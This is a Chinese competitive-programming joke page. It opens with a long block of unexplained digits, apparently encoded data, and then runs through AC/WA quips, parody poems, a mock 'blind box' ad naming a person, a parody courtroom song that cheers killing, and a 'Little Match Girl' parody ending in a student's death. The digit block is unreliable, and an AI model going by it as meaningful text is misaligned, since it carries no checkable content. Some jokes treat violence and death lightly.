2262411310024121210314121902410281024102810241028102410002410002410100241010024101002410102242411610024117102180131031232190241032640241032640241032640241032640241032640241032640241032640241032640241010223241171013241121031472190220000220000220000220000220000220000220000220000220010226241151013241010314721900217102292411210132410102182410101601210312021902411510241241010152200102172410101501310312021902411510241241010223241010160131031192190241151024100103152219010246241010211220010211241010310800102192190002200013220001322002480102350010222002410103108241010219219002111016241151021324116101524101022324101031082410102192190247024821010152411710211241181014001022324101031082410102192190241211101624121010132412101016241010223241010310800102192190241211101424122810130010223241010310824101021921903144013153144013153144013153144013153144013153144013153144013153144010132410102232410103108001021821202190220001522000152200015220010130122200101522001014002200015220010130010223241010310824101021800219002301014019101324101022324101028501510218001021832440219024124310130010223241010284019102152410102152411310021901022124101015260010182411810122410102232410102820211102150010214241023813260021902200257023802360260010216241010142411510162411710121312102222410102112411810241024413010132410102142410312312326402600219000256000324502411210215241010132601813272102270243131610213241001324702190241132470241181019241000220001221900122600015220000317800022000031780002200003178000220000317800022000031780002200003178000220000317800022000031780002200003178000220000317800022000031780002200003178010022001003178010022001003178010022000031780002200003178000220000317800022000121022732450101832450101932440241183245010143244010153245010121301012131410212241001421902410281027902410222022302240225022602270228023801019015219001226012015318503186031850003185031860318503184123186031841200317800133178000318412318603184120031780013317800031841231860318413318603184123185031860318500010031780100318412318603184123185031860318500123178001331780003184123186031841201310247241120010132410102141213130121213010213241142190241032641224112131310211260001621900122200015318412318603184133186031841331860318400123178001331780012318403186031841331860318412003178001231840318603184000318403186031841331860318413318603184133186031841331860318412003178001331780012318403186031840015102460010218120014260025002510120102122410220021212220021902200212122200241010121301015130101213010013022000162190019318403186031840003184031860318413318603184120031780013317800031841231860318413318603184001231780003184123186031841331860318413318603184000318403186031841331860318413318603184001231780013317800031841231860318412015102451201021801426012013120102112410212130021900021212002410102130182190018318412318603184133186031841331860318401012317801013317800123184031860318413318603184120031780012318403186031840003184031860318413318603184133186031841331860318413318603184120031780013317800123184031860318400212102390010170010210001013220010120131019120100241021213002190002121200241010013181013019212026000171003185031860318501003185031860318503184123186031841210031780101331780100318412318603184123185031860318500123178000318412318603184133186031841231850318603185000318503186031850318412318603184123185031860318500031840318603184000318403186031841331860318412021110268220001222000122200013241122601421902601424112101200220010122200012220001924102370260001610133186010133186010123185031860318501012317801013317801012318503186031850101231860013317800123185031860318500031850318603185001231860013318600010031850318603185010123186010123184031860318401003184031860318400031850318603185002121027724112101431230219031230001013241121017015100012101321902370260000101731850318603185010031850318603185010123186010133178010133178010133186010123184031860318400031840318603184001231860013318600010031850318603185010031850318603185010123186010123185031860318501003184031860318401003184031860318400123186002151022200102522200101621901016220010218219023702600101931850101331850101231850318603185010031840318603184010031840318603184010031850318603185010031840318503184010031840318603184010031850318603185010031850318603185010123185010133185010123185031860318501012318501013318403185010123184010000318503186031850101700100001000131028221901022623702600102173185010123184031860318401003184031860318401012318501013318401012318403186031840101231850101331850102113185010173185010173185010286260031442102190314421026001021523702600102203184031860318401003184031860318401021031840103122260031350313403135123134123135133134021903135031340313515313403135010026001021523702600102213184010133184010313426003245031780324401003245031780324401003245031780219031780324401003245031780324401003245031780324402600102152370260010316026003144210219031442102600102152370260010316026003135210219031351831340313502600102152370260010316026003245031780324401003245031780324401003245031780219031780324401003245031780324401003245031780324402600102152370260010316026003144210219031442102600102152370260024112103158260031350313403135182190313403135192600102152370241010022001031582600324503178010123245031780324401003245031780219031780324401003245031780324401003245031780324402600102152370241010316026003144210219031442102600102152370241010316026003135210219031352102600102152370241010316026003245031780324401003245031780324401003245031780219031780324401003245031780324401003245031780324402600102152370241010316026003144210219031442102600102152370241010316131352102190313521010216237024101031613245031780324401003245031780324401003245031780219031780324401003245031780324401003245031780324401021623702410103159132122190132121021423702410103151131923702360235023402330232023102300229032640219133264022102220223022402250226022702280237013191016237024101031511302380236023502340233023202310230022901303244010153245013021913130324401015324501302210222022302240225022602270228023801301016237024101031511303178121303178121303178121303178121303178121303178121302191313031781213031781213031781213031781213031781213031781213010162370241010315122001012317801012220010123178010122200101231780101222001002190100220010123178010122200101231780101222001012317801012220010162370241010315231841231860318412100318412318603184121013317801014219010123184123186031841210031841231860318412101231850318603185010182370241010315331840318603184010133184031860318401012318412318603184121012219010133184031860318401013318403186031840101231841231860318412101723702410103152318412318603184121003184123186031841210123184031860318401013219010123184123186031841210031841231860318412101231840318603184010152601232640238024101031533185031860318501013318403186031840101231841231860318412101221901013318403186031840101331850318603185010123184123186031841210142470212031930103156318601013318412318603184121012318503186031850101321901012318412318603184121013318601014318503186031850101522001031573185031860318501013318503186031850101431860101421901013318503186031850101331850318603185010143186010316531850101531860101431850318603185010132190101431860101531850101431850318603185010316931850318603185010143185010142190101331850318603185010210318501031713185010210219010143185010319421901031992190103199219010319921901031992190103189260210219026021010317922001012220010122200101222001002200101222001012220010122200104550533014216751247910225567077688078700185800139717480790884017380868470025124911022556707768807870018580013971748079088401738086847002511683227103178264260142470296032580312402902151002422641014327203124010123194122920101851168222710101331422543147315331190319403131031622331001001001001001001001001002892452842642842352912641002902643101264310126410051188322710294264294264294264241031421310010010010010010010010010010010010010031652643171133113123164143112264100100100100511687227102602641001003112133234025502942643131264313126431941810031701231422392162112150242256313033853131264100100100100100100100100241165118822271031613430100315932261001001003131264100100315735291003155324110010010031312643131264313126431533364100315131663108415623107325131303385313126431312643131264511688227101001001001001001001001001001001001001001001001001001001001001001001001001001001005118872271013264132641326413264132352192252950282024126422026422026422021224126424122031782641002873249317526031073251310732191001001001001001001005120872271024802470310724410010021621124126432341221202412642412642412642412641001001001001002412642412642412642412642412642412642412642412642412645120882271010010010010010010010010010010010010010010010010010010010010010010010010010010010049884227101001001001001001001001001001001001001001001001001001001001001001001001001001001005120832271010010028732512150316412294264100255010010010010010010010010010031312201001001002412411001001001003143125120822271010010010010010010010010031190100100100311902920295029501001001002920292010029426429426429426410010049087131010010010049088131010010010051208122710100100100100100100100100100310631323106313231062541001001001001003125017213317612316612253215100317012100100296124869613101001001004908913101001002941549090131010010029415511881227101001001001001001001001001001001001001001001001001001001001001001001001001001001004909113101001001004909213101001001004909313101001002942304909413101001001004909513101001001004909613101001001005118882271010010010010010010010010010010010010010010010010010010010010010010010010010010010051771022710100100100100100100100100100100100100100100100100100100100100100100100100100100100103401314414512619101351083710051262010125126091012512612101251262010310147192101351227110051227510145122341031014699710145116651031034696510310041381101012421376865986017320031281031991401026423702360235023401024727902780277027602750274027302720102402370236023501029823701029723702360102982370236023501029723701029923701029923701029923701029923701029923701029923701029923701029923701029823702360102992370102982370103100237024101029723701031002370100241010296237010310023702410271028001029523701031002370100241028001002680269027002710280010289237010310124101002800101528012102882370103102241028001015280121028823701031032790101528001028923701031092800102892370103109280010289237010319923701031992370103199237010319923701031632270228023701031992280237010023702360228023701031942280237023601012228023701023123702360235023401031592370101422802370102302370103162237010152280237010229237010316223701016228023701022823701031622370101722802370102272370103162237010182370102272370103162237010182370102272370103161236023501018237010316100102293245010172370103160012103198012103226324501033963245010359632450103399241010357821301032192200103199241010379622001035110131015012103185001000010120131012012100012102742411510150121022501424101026702181026700100012101600100001013012101200100001021101310150152410102660220102332411410229001000121016013101201610000101400101201210001510214121610249021210001210001210001210000101201210233241151022001310120121000224101300100013100018101712010130161022701510215021210250241131021713024112101201310120220101200100021910190121000191022000100001000142410100001000010211021110243131424101013241131014120100121410173178010160161012001021100101600100021010000102190010001510220001000171000141012001016021010244131410024101014241010131212016101531841231860318412101401310232012102270151013012102120215101200101301210001910245131210013010024101012131224101312100015101931840318603184010150121026200100018101201210140010001610000101200100022210230122101015130101524101313121401210212318412318603184121027202101014015102140215102310219130012241010121301021931840318603184010277001000211102190171000121023702141312101224101012131210217318412318603184121027801210120141012001026901510120010000101222001015220010219318503186031850103198318601031983185031860318501031983185010511604330112103401283310047571101451238510051295710051186310145121711031004737510135120601031004116310101241054686559001532003128103598214010463750141021901210314724101022701510218012103131025010217001031310252103147025521903245010314202562190241131031382410025721902411310313724100258219010314002592190103139026021901031380261219032450103136026221901031360263219010214213010312002642190100248152190101621312103119026521901002200012220000219010172160103118026621902410248152190101621302160103117026721901002200012220000219010162161210311524100268219010024815219010310923713102110269219010022000122200002190103110237151012241150270219010024815219010311123716241140271219010162190103112237152411302722190324501012250025102200219022000121031122371224112027321901013013219001313121031122410027421901013212132190012247013131031170171000010210022210228219024101012241010024102190241026012102112610103108001021902201023100101421902601313121019261010312902191023213010132190100260121031420217102322200257000220025702190241001410314102151023425601000025603265024112014103143021210234241141002200017103142001000181023522001012220010140010001310314400100001000010248001051240233013702511589227101014130295032342221001322410132431231941215244258228310112316226429422010024114288233311917170316403131183167125115902271031420101328723210142441310010032341613257100100253210100241259100100100100247029612311312170511591227101001001001001001001001001721110010010010010010010010010010031191210031131326116258210100100100510787131010010010051078813101001001005107891310100100100510790131010010010051079113101001001005103871310100100100510388131010010010051038913101001001005103901310100100100510391131010010010049987131010010010049988131010010010049989131010010010049990131010010010049991131010010010049588131010010010049587131010010010049589131010010010049590131010010010049591131010010010010340131090512024100511505101251150710125122021005120281005120241013512023101351150510125120231015512202103103470001010124131368661840032003128103199140102932690270027102800102791401031192710280010278241121031192710280010274280122410228023701031202800102732800279028001012228010312027102800102712800279010028001031242710280010267280027902780277010312828001026628002790103131280010265280027901031322800102652800102331401029928001026428002790102321412102992800102632800279010313428001026328001031352800102632800103198140280010319623702410280121031962360100280121031982801210319828012103198280010323514010319914121031981412103176236023502280237023601015227022802370236023502340233023202310230022901001412103179237010182370101914010318023701021814121031792370102181412103179237010319923701031992370103218216121031352370236023502340233023202310230010255216121031302360235023402330232023101044662140103200140103398012103198001015261010268012101926101021826101000010283012102860131032540010160010217317901031701801021200102153179010270317901029000101218010151801022631811231830318103182010268317901028800101319018010019010131801022631820318103183031810318201026631811231830318103182010289210019031000191210019123100019121022531810318303181010267318203181031830318103182010290190310001901012210019031000190210010225318103183031810102683182031830318101029121003100021001013190310001901022731820102693182031830318101029719031000190102983182010511567330112103401294155124311031024517810051344210310044781101551217210145134381013513645101551253710310044160101012434656866382016320031281031991401026225202411310014024101031972411210319814122410103196241010024101031971401012241010319623702411210319614022802370236024101031182800279027802700271028001027123702410237010311928002790101427102800279010269228023702360103118280027901016280024101414102662370103117271028002790101727102800279027802770276010266237010311828001019280010141401026523701031161402410280010214141210262140100237010311323702360241027102800279010214141210262237024102370103111237023602350101328001021514121026222802370236010311023702360101528001021514121026323701031022520241132370228010023602350234010286241023701031022370236023502340233010291237023601031022370102942410237010310323601023121612102612370236010313521612102612370103136216121026023702360103136229000102602370103137012102602370103137012102582370236023501031962370236010319523702360235023401031962370103196237023602350234010318822702280237023602350234023302320231010319323701031521412103198140104419914121031981412103198141210319814121031981412103198130102162431210318113010214317901021118000103179317901012012101231790101919123100010000102600010123179010259317901014180101418010244317901014318112318303181121017210019031000190210010000130102273179010151801012180101200102111300010153182031810318303181121016001003179001210246317901014180101418010236244010173179010143181123183031811210182100310002100101318000102221801013317901013191231000190100180101401218010120121000121801016318203181031830318103182010183179010120131023718010153179010121912310001914310001902100102253179010214318112318303181121013318103183031810101921003100019010019123100019001210217317901912310001912100317901013191231000190210018010161801015191231000191210153181031830318101017318112318303181121013001800010234180101331811231830318103182019123100019143100019121022531790102143182031810318303181031820101331820318303182010213191231000191210218317901912310001912318103183031811210121903100019123100019121014180101519010018019121015318203183031820101731820318103183031811210141801000010193179010173179010213191231000191210031820318103183031810318201001903100021001012210031000190102263179010215318103183031810101531820102163100019010173179010160121003181123183031810318203100019031820318103183031810318201012190310001912310001902100101418010173100019010173182010193181031830318101013191218019121017318112318303181121013318112318303181031820102111912310001912101231820318303181010122100310002100101221003100019010224318112318303181121021331820318303181010221190310001901015318203181031830318112101731820318103183031810318203100021001003181031830318101016210031000190101518123100021001014310002100102173182031830318101013191231000191210173182031810318303181031820101331811231830318103182010212190310001901013318203183031820102343182031810318303181121021431820102303182031810318303181031820101831820318303181010143182031830318201016210031000190101421003100019031000191221001022231820101521003100019010193181031830318101015318103183031810102132100310002100101431820102363181031830318101012317901024431810318303181010193181031830318201015318201021318031001219123100019121022821003100019010193181031830318201015318203183031820102573181031830318113318303181031820102423182031830318201021031820102191801912310001912310001902100102413182010173182010259318201003182031810318303181031820102433182010229210019133100121902101210311431810318303181010274210019133100019121031163182031830318201027521001912310001902100103117318201027721014105107233301121034012633100429811005127101012513128101251202910310043178101251201710101242446686658001332003128103199141210214224022502260227022802370103178141210219223022402250226022702280237010311026802690270027102800279027802770276010253141210225225022602270228023701031102800102571412102292280237010310928001025714121023023701031671412102302280102242370236023701031401412102542370236010022702280237010313814121025223702360235010142270228023701031872370236023502340101822802370103135277027601024923701021222702280237010244269027002710280027901013280024101027901210246237023602350234010214237010247280010142800100241010278012102462370102172370102472800101428002410140102780121024523702360102172370102472800101427102800279028001027701210243237023602350102182370102472800101528001002680269027002710280010274001024223702360102202370102472800101528001015280027002710280010311223702360237010221237010253280010152800101227002710280010311023701002370102212370102532800101528001014268026902700271010310423702360235023401002370102212370102592800103111237023601014237010221237010259280010311023702360102272370103167237023602350234010228237010316423702360235023401023123712103158228023702360235023402330102342370228023701031582370102382370100237010315823701023823701002370103158237010238237010023701031582370102382370100237010315823701024023701031323271010266237010313115010319915121031981512104139921501041195241010319924101031992410103199241023701031982410237010319824102370103198241023701031982410237010319824102370101221301031952410237010122130103195241023701012213010319623701002131210314712010248237010224241010312412000120102472370102242411510311912001312010246236010228241013010311801510275241010311201210150151027524101031200010000100001024224101023124101031672411210230241010218180103171130101324116102181801001301031681203179010142410102202100190310001902100103151130102151200031830318103182010122410102202100190310001902100102781801027213010214012130318303181031820101224101301022019031000190102791801027313010213012130318303181010132410102211903100019010277210019031000191210271120102130010012031830318201013241010278180101631790102151912310001902100102700121021412010031820241151027818010163179010216210031000190102720010298191231000191210143179010216190310001901031590010211191231000191210123181123183031810318201024818010312900102101903100019010133182031810318303181031820102481801031401903100021001014318103183031810102471912310001001901031453182031830318201024719123100019021001031463182010249190310001901031972100310001901051003833011210340131561451501010135146861014512268101451400110155129231013514075103100483951015513131103101467921014513517100513131103100473931012514002103100465871031004658710101241391686677801432003128103199151210249271028002790102172210222022302240225022602270228023702360235023402330232010222280027102800102901512102502800241010225237010227280010028001029015121022224114252010223280010024101025228001002800102902161210221224022502260227022802370102142370236023502340233023202310101228002410102532800100280010290150216010226226022702280237010172370236023502340233010182800100241010252280010028001029015121022922802370236023502340233023202310230010212280024101025328001002800102901512102302370102192800100241010252280010028001029015121023023701021928002410102532800100280010314228001002410102522800100280010314228002410102532800100280010314228001002410102512790278010028001031422800241014151025028001031422710280027902780277027602750241023701024828012103142280010162370102482800271028001031412800101623701024828001002710280010314028001016237010251271028001031371402410280010162370102522800103137271028002790101623701025228001031462370102522800103146227022802370102502800103148237010250280010314823701025028001028714010260237010232237023601031031412102912360235023401044504237010319923701031992370001031982370001031982370001031982370001031982370103199237010319923700010319823700010246170103151237000102401701016170103150236000102501712101617010313900140102591701013241010313414013010240241161014012102112410103134140130102422411610122411210162411710313313121031981212105129983301121034011210124135768669760153200312810319914010312701517010319301617010319301310131701031991701031991701031991700010319817000103198170001031981700010265141210313117010266141210313117010319917010319917010319917010319917010319917010266215010313217010319917010319917010319917010319917010319917010319917010319917010319917010319917010319917010319917010319917010319917010319917010319917010319913010319900103199241010319900103199241010319900103199241010319900103199241010319900103199241010319900102661512103131241010266150103132001026615010219241151031082410102661512102182411510310800102662580150102182411510244237010263241010266258121021824115102432371310021902481310257001026625801021723701002410102452371510021900022000010257241010266170258010216237122410102442371310132410219021212247024101025600102842371324101024223713101424102190002500251024101025624101028423713241010241237131015241021900132410102560010286237024702370102402371210162410326414241010256241010312800237010269001031270121027024101031260121027100103393120101726101031073179010282130001031153179010282180103116317901028218010247317901026631820318103183031811210278210019031000191210245318303181121026431811231830318103182010278191231000191210243318203181031830318103182010265318203183031810102801903100021001024531810318303181010266318103183031820102801903100019010245318203183031820102673182010313031820105118253301318051007413101013510075131010123114212510076131010123165051047522710102163170121018100100510474227101001001001001001001001001001001001001001001001001001001001001001001001001001001001034012511351205710051232510145114311012512530101351252710101241326686717400320031281031991401031552260227022802370236023502270228023702360235023402250226022702280237010227216121031482800241010172370101423701017228010227216121031471402800101823701014237010318214028002790278010182370101423701031822800279010210237010142270228010024101031792800103191228023702360141424102800103188236014028002410237024112269027002710280027901031892800279010022802370236010258214010313428002790101323701031942800103199280010319828002790103198280010319928001031982800279010319828001031982801210319828012103192280027902780277027602750274028001031922790101628001031992800104446514121031982161210319821601401031982160140103956250025101024021301031570032450102402131210315632640258010240170140103198171210319823801701035432610102590010320000103422180103111317901025031790102341912310001912102223179010286317901024831811231830318112102322100190310001912102223179010284318112318303181031820102463182031810318303181031820102331903100019010221318112318303181121028231820318103183031810318201024731820318303181010234210031000210010221318203181031830318103182010283318203183031810102483182031830318201025931810318303181010284318203183031810102493182010260318203183031820102733179010211318201031123182010272318203181031830318103182010319531820318103183031810318201031963181031830318201031973182031830318101031983182010510670330112103401311614512622101251220910145127911031023363101351258810310151019310310051058710135124111005128461031013357103102493971010
每想AC一次,天上飘落一粒沙,从此形成了撒哈拉 AK目的虽有,却无AC可循;我们称之为"GOOD!"的,无非是WA。 鹅鹅鹅,曲项像烤鹅,拔毛烧开水,点火盖上锅 <<审判者>> 都是被告人 你额头的伤口,你的手上,表明一切 他们说,要带着律师,去减少每一个罪行 他们说,要带好证词,去和法官争辩 为何手铐不能摘下,却在我受伤的手上带着 谁说手铐不能是玫瑰金的 (啊!)爱你孤身走法庭,爱你被判的模样 爱你对峙过法官,不肯你败诉 爱你破烂的草鞋,却敢堵法官的嘴 爱你和我那么像,手铐都一样 一诉,二诉,二诉完再三诉 败诉,再败,没一个胜诉 致那法庭里的呜咽与怒吼 谁说站在法庭里的才算被判 他们说,要戒掉你的瘾,就像擦去了记录 他们说,要顺法院而上,而代价是败诉 那就让我不可逆转,你一样骄傲着那种犯罪 谁说杀人平凡的,不算英雄 (啊!)爱你孤身走法庭,爱你被判的模样 爱你对峙过法官,不肯你败诉 爱你破烂的草鞋,却敢堵法官的嘴 爱你和我那么像,手铐都一样 一诉,二诉,二诉完再三诉 败诉,再败,没一个胜诉 致那法庭里的呜咽与怒吼 谁说站在法庭里的才算被判 (你的反驳,震耳欲聋) (你的喧哗,响彻法庭) 他们说,要戒掉你的瘾,就像擦去了记录 他们说,要顺法院而上,而代价是败诉 那就让我不可逆转,你一样骄傲着那种犯罪 谁说杀人平凡的,不算英雄 (啊!)爱你孤身走法庭,爱你被判的模样 爱你对峙过法官,不肯你败诉 爱你来自于重庆,一生杀掉很多人 你将造你的堡垒,在法庭之上 一诉,二诉,二诉完再三诉 败诉,再败,没一个胜诉 致那法庭里的呜咽与怒吼 谁说站在法庭里的才算被判 在线销售李清城盲盒 在线销售李清城盲盒 购买之后李清城会自己走过来,有疑问请拨打电话“110” 在途中李清城可能会被捣蛋鬼抓走,请慎重下单 有意者私聊 Teacher AC很可贵,我曰的 我从未见过如此厚颜无耻之WA 船员:我们一定要把WA全都揪出来 警长:消灭WA,一次只需一颗子弹 工程师:修理WA和超时,哼,我可是专业的 侦探:这是最基本的AC,我的朋友 医生:我觉得WA还可以抢救一下 预言家:AC将指明我们的方向 守卫:别担心AC,我就是你的盾牌 保安:这里有我AC看着,别想闹事 换票师:我觉得AC结果,嗯,应该这样 情报员:我一定要把这份AC传递给大家,不惜一切代价 黑客:AC不会出错,会出错的只有WA 管道工:WA有问题,炸一炸就好了 守望者:没人能逃过我的AC 市长:我不会辜负大家的AC的 老兵:保持AC,是战场的第一生存守则 潜伏者:嘘,对不起啊,我是AC 狱卒:咳,呵呵,没有WA能逃脱我的掌心 诱捕者:哈哈,WA上当了吧 时间之主:时间,由我AC来掌控 内鬼:我保证,没有WA能抵达目的地 间谍:记住,你的WA会欺骗你 清洁工:唉,这可比扫整条WA轻松多了 守夜人:没有我去不了的AC 咒术师:尽管逃,你WA是逃不掉的 变色龙:只有聪明人才能看到我AC 双面人:哈哈哈哈,AC,就是一场豪赌 搬运工:垃圾WA,就该去它该去的地方 闪光弹:AC配备检查完毕,准备行动 女巫:嗯,宝贝,帮我做AC 赏金猎人:我的眼里,只有AC和WA 小丑:哈哈哈哈哈哈哈哈,现在,谁才是真正的WA 纵火犯:芜湖,我从小就喜欢AC,我现在就想看 幸存者:AC下去,只要,AC下去 恶魔:我会将AC,分享给你 幻影:来吧,欣赏这场盛大的AC吧 饕餮:无 电脑房里生白烟,李白来到电脑前。狂打电脑的键盘,WA映入他眼帘 让我们荡起双桨,把WA拍在沙滩上 正道的光,照在了WA上,让每个绿色的AC都出来蹦跶 在AC到来之前,总会有WA出现。 我花半小时来写代码,他却只用半秒给我判了错 《小码君の语录》人类最大的敌人是BUG,其次是oj。 生而AC,我很抱歉。 小时候,我妈说我的手指长,将来能当钢琴家,然后我成了码农。 人生真是讽刺,我竟然可以AC? 你说过等我的...... AC,WA,往往只在一字之间。 xmw天生就舍弃了oj的意义! 我要AC,哪怕赌上我的一切。 退后,你们这些无知的WA!你不会就这样死的,我的AC! 纵使黑云蔽日,我也要燃烧天空,带BUG进入地狱。 我战斗到了最后一刻! 键盘修好之日,码王归来之时。 《写代码的小女孩》 天冷极了,下着雪,又快黑了。 这是NOIP的前夜。在这又冷又黑的晚上,一个衣衫破烂的小女孩在机房敲着代码。 她从班里逃出来的时候还拿着一本算导,但是有什么用呢? 那是一本很破旧的书——那么大,一向是她妈妈垫桌角的。 她默写SPFA的时候,年级主任突然冲进机房,吓得她把算导都丢掉了。 书叫一个学数竞捡起来拿着跑了。 他说,他可以用那本书当草纸,证明切比雪夫定理。 小女孩只好自己写二叉堆,一双小脚冻得红一块青一块的。 她面前的草纸堆得满满的,上面全是DP转移方程。 这一整天,没有一个OJ让她AC一道题,她已经交了32遍采药了。可怜的小女孩! 她又冷又饿,浑身战栗地写着二叉堆。CRT显示器发出的光落在她的枯黄的长头发上,那干枯的头发打成卷儿披在肩上,看上去就像二叉树,不过她没注意这些。 每个显示器里都透出光来,机房里飘着一股CPU发糊的怪味,因为这是NOIP前夜——她可忘不了这个。她在主函数前面停了下来,蜷着趴在键盘上。 她觉得更冷了。她不敢回家,因为她还没调完二叉堆,没写对一个DP方程,教练一定会骂她的。再说,换成别的数据结构,一样写不出来。 这些题都太水,虽然神犇都写过题解了,但是题解上一般都只有三个字:傻X题。她几乎绝望了。 啊,哪怕一个函数不会RE,对她也是有好处的!她每写一遍程序,跑出来的结果就不一样,要是她有数据,她就知道哪一个程序是算对了的。 她得不到数据了,因为机房上不去网了,全校的网速都让隔壁的年级主任拿来下小电影了。 如果能保证下一个程序能AC,她就敢再写几十KB的代码,但是她是不敢啊,她怕又算出来一个奇葩的结果来。她新建了一个cpp重写了程序。 编译通过了,样例过了。这次,她感觉自己站在IOI的考场中AK。学校的大门上,贴着“我校学生以国际金牌向110周年校庆献礼”的条幅。 在班级内的非诚勿扰中,全班男生都给她留了灯。这时候,程序又RE了,她面前只有cmd上的黑底白字。她又写了一道模拟。 这一回,她坐在美丽的二叉堆下。这棵二叉堆,比她在丽洁代码中看到的常数还要小,还要短。 眼前是许多优美动人的ASCII码,那些都是她写的程序,各种可爱的指针在跳跃着,满世界都是系统栈,都在向她眨眼睛。小女孩向眼前的系统栈伸出手去。 这时候,眼前的ASCII码还在,条幅还在,指针还在,年级主任还是和蔼地微笑着。只见那些代码那些指针越升越高越升越高,最后成了在天空中闪烁的星星。 有一颗星星落下来了,在天空中划出了一道细长的红光。“有一个什么人快要死了。” 小女孩说。 唯一疼她的学姐保送之前告诉过她:一颗星星落下来,就有一个灵魂要到上帝那儿去了。她notepad++中又写了一个快排。这一回,她把能用的IDE都用了。 学姐出现在亮光里,是那么温和,那么快乐。“学姐!” 小女孩叫起来,“啊!请把我带走吧!我知道,系统栈一溢出,您就会不见的,像那校门的条幅,浮点数的精度,循环队列的空间一个样,就会不见的!” 她赶紧编译了5KB的高精度模板,要把学姐留住。一大把程序发出强烈的光,把机房照得跟白天一样明亮。学姐从来没有像现在这样温柔,这样美丽。 她把小女孩抱起来,搂在怀里。她们俩在光明和快乐中飞走了,越飞越高,飞到那没有DP,没有图论,也没有数据结构的地方去了。 第二天清晨,这个小女孩坐在机房里,两腮通红,嘴上带着微笑。她死了,在NOIP的前夜死了。 NOIP Day1的太阳升起来了,照在她小小的尸体上。 小女孩坐在那儿,显示器上还有一堆编译过的代码。“她想好好复习复赛。” 人们说。 谁也不知道她曾经看到过多么美丽的东西,她曾经多么幸福,跟着她学姐一起走向新世界的幸福中去。 《唐诗三百首》 1.日照香炉生紫烟,李白来到太平间。头朝地脚朝天,带着微笑上西天。 2.床前明月光,小偷爬进窗。打开保险箱,钞票一张张。 3.春眠不觉晓,处处蚊子咬。夜来香港脚,臭的不得了。 4.朝辞白帝彩云间,某人坐在小河边。小李飞刀一瞬间,某人变成小太监。 5.锄禾日当午,地雷埋下土。你娃挖地雷,变成二百五。 6.日照香炉生紫烟,李白走进烤鸭店,口水流下三千尺,一摸兜里没有钱。 7.墙角数枝梅,不知你爱谁。如果你不说,就是你同桌。 8.春眠不觉晓,处处蚊子咬。夜来大狗熊,谁也跑不了。 9.李白乘舟不给钱,渔夫一脚踢下船。桃花潭水深千尺,不知李白死没死。 10.床前明月光,李白爬上窗。遇见X光,头发变光光。 11.少小离家胖了回,乡音无改肉成堆。儿童相见不相识,笑问胖子你是谁。 12.远上香山石径斜,白云深处我和她。原想王子见公主,实是恐龙见青蛙。 13.大千网络绿映红,聊天见面心见空。见面四百八十次,多少恐龙在其中。 14.北理朝雨浥清晨,满腹失望伤透心。劝君在莫找网友,明日出家奔少林。 15.春眠不洗脚,处处蚊子咬。夜来鬼敲门,吓死乡巴佬。 16.垂死病中惊坐起,小丑竟是我自己。 17.巴山楚水凄凉地,Responsibility。 18.劝君更尽一杯酒,你说我丑那我走? 19.四面边声连角起,牛马竟是我自己。 20.两岸猿声啼不住,欢迎来到对抗路。 21.先帝创业未办,蹦迪花光预算。 22.宝剑锋从磨砺出,得来全不费工夫。 23.乾坤未定,你我皆是牛马。 24.老骥伏枥,志在千里,横扫饥饿,做回自己。 25.如果巅峰留不住,那就进厂包吃包住。如果志同道合,那就流水线回合。有福就同享,有难就进厂,厂里包吃包住,大风大浪挺得住 26.李白上山去拉屎,忽然想起忘带纸。 勇敢伸出大拇指,扣扣屁股全是屎。 新《满江红》 怒发冲冠,凭栏处、潇潇雨歇。 抬望眼,满天UKE,怒火激烈。 三十WA尘与土,八千RE云和月。 莫抄袭,没了AC记录,空悲切! CE耻,犹未雪。WA恨,何时灭! 驾PC,踏破题目列表。 闭眼不会Hello world,笑谈不懂头文件。 待从头、收拾A+B,还不会。 《将进酒》 程序版 君不见,OJ之题天上来,复杂到海不舍回。 君不见,高堂明镜悲白发,朝如青丝暮成雪。 人生重在写算法,莫使AC空对题。 天生OJ必有用,千方百计还CE。 AC一点且为乐,会须一刷三百WA。 吾团友,牛大佬, 将刷题,手莫停!!! 语文老师一回头,此地空杀黄鹤楼 数学老师一回头,二次函数对称轴 英语老师一回头,sorry加上3克油 历史老师一回头,世界大战再回首 体育老师一回头,乔丹改打乒乓球 信竞老师一回头,带着学生玩网游 化学老师一回头,二氧化碳变汽油 音乐老师一回头,打着节拍摇着头 物理老师一回头,阿基米德要跳楼 地理老师一回头,校门发生泥石流 美术老师一回头,蒙娜丽莎也风流 生物老师一回头,全班同学都梦游 政治老师一回头,人类发展到尽头 全体老师一回头,从此宇宙无地球 慈母手中剑,游子身上劈。 一秒十八剑,刀刀出暴击。 父看子未凉,掏出七匹狼。 子看七匹狼,瞬间透心凉。 透心凉,心飞扬,果冻我要喜之郎 《夜空中最亮的星》 题库中最难的题 能否听清 那刷他的人 心里的孤独和叹息 题库中最难的题 是否知道 曾与我同行 消失在黑题里的AC 我宁愿所有痛苦都留在心里 也不愿忘记输入数据 给我再去刷题的勇气 越过PC去拥抱你 每当我找不到OI的意义 每当我迷失在CE里 题库中最难的题 请你照亮我AC 题库中最难的题 是否知道 曾与我同行 消失在题里的AC 题库中最难的题 是否在意 是等比赛结束 还是MLE先来临 我宁愿所有痛苦都留在心里 也不愿忘记你的CE 给我再去AC的勇气 越过PC去拥抱你 每当我找不到OI的意义 每当我迷失在CE里 题库中最难的题 请你照亮我AC 考试不翻书,简直是头猪。 作弊不要慌,逮到就要装。 生是中国人,死是中国魂。 要我学洋文,死都不可能。 抢饭不积极,智商有问题。 上课不放屁,肠道有问题。 英语不及格,说明我爱国。 语文不及格,恋爱没资格。 物理不及格,电死不负责。 化学不及格,硫酸也喝得。 政治不及格,老师没道德。 信息不及格,网吧要打折。 数学不及格,突出我性格。 历史不及格,社会要改革。 全科不及格,老妈动真格。 有才的家长: ⑴ “隔壁小明玩游戏吗?” “玩!” “他成绩好吗?” “好!” “你知道他为啥玩游戏吗?因为他学习好!” ⑵ “隔壁小明玩游戏吗?” “玩!” “他成绩好吗?” “不好!” “你知道他为啥成绩差吗?因为他打游戏!” ⑶ “隔壁小明玩游戏吗?” “不玩!” “他成绩好吗?” “好!” “你知道他为啥成绩好吗?因为他不打游戏!” ⑷ “隔壁小明玩游戏吗?” “不玩!” “他成绩好吗?” “不好!” “你知道他为啥不打游戏吗?因为他知道自己成绩差!” 《毒品》 试卷,一种新型毒品 多呈白色,常见于学校 现已使无数学校上瘾,丧心病狂 使无数学霸沉迷其中,无法自拔 使无数学渣失眠多梦,头晕眼花 它破坏了多少个家庭的和谐 为了它能使一个考生跳楼自杀 又在毒害着多少人的精神世界…… 远离试卷,从娃娃抓起 杜绝试卷,从我做起 没有买卖,就没有杀害 